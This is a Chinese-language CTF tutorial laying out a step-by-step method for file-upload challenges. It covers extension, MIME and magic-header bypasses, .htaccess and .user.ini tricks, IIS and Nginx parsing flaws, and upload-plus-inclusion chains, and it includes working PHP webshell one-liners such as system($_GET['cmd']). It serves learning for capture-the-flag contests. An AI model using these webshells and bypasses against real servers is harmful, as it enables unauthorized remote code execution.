围绕校验、存储、解析和后续利用整理的文件上传题型思路。
CTF 文件上传题思路#
0. 先建立总思路#
文件上传题本质上一般分成四类:
第一类:直接上传脚本拿 WebShell#
例如 .php、.phtml、.asp、.jsp 直接可执行。
第二类:上传后不能执行,但可通过解析漏洞触发#
例如:
file.php.jpgfile.jpg/.php- Nginx/Apache 特殊配置解析
- IIS 分号解析
第三类:上传后不能直接执行,但可借助包含漏洞触发#
例如先上传图片马,再配合 include($_GET['file']) 执行。
第四类:上传配置文件改解析规则#
例如:
.htaccess.user.iniweb.config
所以做题时不要一上来就只想着“传一句话木马连蚁剑”,而是要先判断题目属于哪一类。
1. 第一步:信息收集#
先别急着上传木马,先看页面和源码。
重点看:
- 表单是否有
enctype="multipart/form-data" - 是否有前端 JS 校验
- 是否有提示文字
- 是否回显上传路径
- 是否给出文件预览
- 是否会重命名文件
还要查看:
- 页面源码
- 外链 JS
- 抓包请求和响应
- 响应头中的
Server、X-Powered-By
需要关注的核心信息#
- 上传目录在哪里
- 文件名是否被重命名
- 是否保留原扩展名
- 是否存在额外参数
- 服务器是什么中间件
- PHP / Apache / Nginx / IIS / Tomcat / JSP 环境是什么
这一阶段的目标不是利用,而是摸清规则。
2. 第二步:先做最小测试#
上传一个正常图片,观察结果:
- 是否成功上传
- 返回路径是什么
- 文件名是否被改
- 文件内容是否可访问
- 是否有缩略图/重新渲染
然后上传一个测试型文件,不要一开始就传一句话木马。
推荐测试内容:
<?php echo "TEST123"; ?>如果要伪装图片头:
GIF89a<?php echo "TEST123"; ?>目的是快速判断:
- 文件是否会被解析
- 是否只是静态返回
- 是否被二次处理
- 上传后代码是否仍保留
3. 第三步:区分“前端校验”和“后端校验”#
这是上传题最重要的一步。
前端校验特征#
一般在 JS 里出现:
- 后缀名检查
- MIME 检查
- 文件大小检查
例如:
var allow_ext = ".jpg|.png|.gif";这种可以直接抓包绕过。
后端校验特征#
改包后如果仍然报:
Bad fileInvalid typeUpload failedOnly image allowed
说明后端也有校验。
这时就要进一步判断服务端用的是:
- 白名单
- 黑名单
- MIME 检查
- 文件头检查
- 内容检测
- 真实图片重渲染
4. 第四步:判断上传后文件的命运#
上传成功不等于可利用。
必须判断文件最终发生了什么:
1. 原样保存#
最理想,代码还在,只看能不能解析。
2. 重命名保存#
需要以后都用返回路径访问。
3. 强制改后缀#
例如无论传什么都改成 .jpg。
4. 移动到固定目录#
例如 /upload/2026/03/xx.jpg。
5. 二次处理#
例如图片被 GD/Imagick 重采样,此时文件里的 PHP 代码可能已经消失。
6. 不能直接访问#
可能被存在非 Web 目录,只能通过包含或后台功能触发。
这一点必须用访问返回路径、抓响应体、看文件内容来验证。
5. 第五步:直接枚举可执行扩展名#
如果是 PHP 题,常见扩展名要一轮全测:
.php.phtml.php3.php4.php5.pht.phar.incJava 题常见:
.jsp.jspx.jspfASP/IIS 常见:
.asp.aspx.asa.cer怎么测#
不是只看“能不能上传成功”,还要看:
- 返回路径后缀是什么
- 访问后是否执行
- 是否下载源码
- 是否 404
- 是否返回 500
很多题真正突破口就是 .phtml、.pht、.phar 这种被遗漏的扩展。
6. 第六步:测试双后缀和解析特性#
常见形式:
shell.php.jpgshell.jpg.phpshell.phtml.jpgshell.jpg.phtml很多过滤逻辑会犯这些错:
- 只检查第一个点前后
- 只检查最后一个扩展
- 只做字符串包含判断
- 没考虑大小写
因此也要测:
shell.PHPshell.pHpshell.phtml.shell.php%20shell.php.有些环境对末尾点、空格、大小写处理不一致。
7. 第七步:测试 MIME 和文件头绕过#
有些服务端会检查:
Content-Type- 文件魔数
- 文件头内容
这时常见绕过有:
修改 Content-Type#
例如把脚本文件伪装成:
image/jpegimage/pngimage/gif添加图片头#
例如:
GIF89a<?php ... ?>伪造 JPEG 头#
例如前几个字节伪装成图片格式。
但要注意,这类绕过只解决“上传”问题,不一定解决“执行”问题。
8. 第八步:配置文件打法#
当脚本扩展名都被拦住,但服务器是 Apache / PHP-FPM / IIS 时,要想到配置文件。
Apache#
.htaccess
常见内容:
AddType application/x-httpd-php .jpg或者:
SetHandler application/x-httpd-phpPHP-FPM / CGI#
.user.ini
例如:
auto_prepend_file=shell.jpgIIS#
web.config
利用 IIS 的脚本映射规则。
但是否能用,取决于:
- 文件名能不能保持固定
- 上传目录是否允许配置生效
- 服务器是否启用了相关特性
9. 第九步:解析漏洞与中间件特性#
不同中间件需要不同打法。
Apache#
重点看:
.phtml.htaccess- 多扩展解析
- 某些 handler 配置
Nginx / OpenResty#
重点看:
- 路径解析
fastcgi_split_path_infofile.jpg/1.php- 特殊 location 匹配问题
IIS#
重点看:
- 分号解析
shell.asp;.jpg- 目录名解析
::$DATA
Tomcat / JSP#
重点看:
.jsp.jspx- war 包部署
- 特定目录上传执行
PHP 版本问题#
老版本 PHP 常见:
%00截断- 路径处理缺陷
10. 第十步:文件包含联动#
如果上传后文件不执行,但可以访问,下一步就要想:
能不能被 include / require 到?
重点找参数:
?page=?file=?path=?include=?lang=?template=如果存在文件包含漏洞,就可以先上传图片马:
GIF89a<?php system($_GET['cmd']); ?>再通过包含路径触发执行。
这类题往往是:
- 单独看上传点没法 RCE
- 单独看包含点也拿不到文件
- 两者结合刚好形成利用链
11. 第十一步:判断是否重采样或杀代码#
这是很多人容易忽略的一步。
如果站点对图片做了重渲染,比如用 GD、Imagick 重新生成图片,那么你写进文件里的 PHP 代码可能已经没了。
判断办法:
- 对比上传前后文件大小
- 抓取返回文件内容
- 检查是否仍保留你的原始 payload
- 看是否从
GIF89a<?php ... ?>变成了真正二进制图片
如果代码已被清洗,就不要再浪费时间在图片马上了。
12. 第十二步:拿到执行后怎么稳一点#
成功上传脚本后,不要急着上蚁剑,先最小化验证。
推荐分三步:
1. 输出测试#
<?php echo "OK123"; ?>2. 函数测试#
<?php phpinfo(); ?>3. 命令执行#
<?php system($_GET['cmd']); ?>如果 system 被禁,再试:
<?php passthru($_GET['cmd']); ?><?php exec($_GET['cmd']); ?><?php shell_exec($_GET['cmd']); ?>如果命令执行函数都被禁,可以考虑:
- 文件读写
- 反弹 shell
- 利用其他函数链
assert、preg_replace /e之类旧环境漏洞
13. 第十三步:常见误区#
误区一:上传成功就以为拿下了#
很多时候文件只是被保存,根本不执行。
误区二:一句话木马没回显就以为失败#
可能只是参数不对,或者页面空白,先用 echo / phpinfo() 做测试。
误区三:只盯着 .php#
很多题真正考点恰恰是 .phtml、.phar、.pht。
误区四:忽略错误页泄露#
404/500 页面经常直接告诉你后端是 Apache、Nginx 还是 IIS。
误区五:只想直连 WebShell#
不少题必须通过“上传 + 包含”或“上传 + 配置文件”组合利用。
14. 最后的实战流程清单#
以后你做上传题,可以直接按下面这个顺序:
第一步:看源码、JS、抓包#
搞清楚前端限制、上传接口、返回路径。
第二步:传正常图片#
确认目录、命名规则、访问规则。
第三步:传测试 payload#
判断是否解析、是否重采样。
第四步:区分前后端校验#
能否通过改包绕过。
第五步:枚举可执行扩展名#
先测 .php,再测 .phtml、.pht、.phar 等。
第六步:测双后缀、大小写、点号、空格#
看过滤逻辑是否存在缺陷。
第七步:测 MIME、文件头#
解决上传阶段限制。
第八步:判断中间件#
Apache、Nginx、IIS、Tomcat 路线不同。
第九步:考虑配置文件#
.htaccess`、`.user.ini`、`web.config第十步:考虑联动漏洞#
找文件包含、模板引用、后台文件管理器等二次利用点。
第十一步:拿到执行后稳步扩展#
先测试回显,再命令执行,再拿 flag。
15. 一句话版通杀口诀#
先看前端,后看后端;先测上传,后测解析;先枚举扩展,后试配置文件;不执行就找包含,能执行再拿 shell。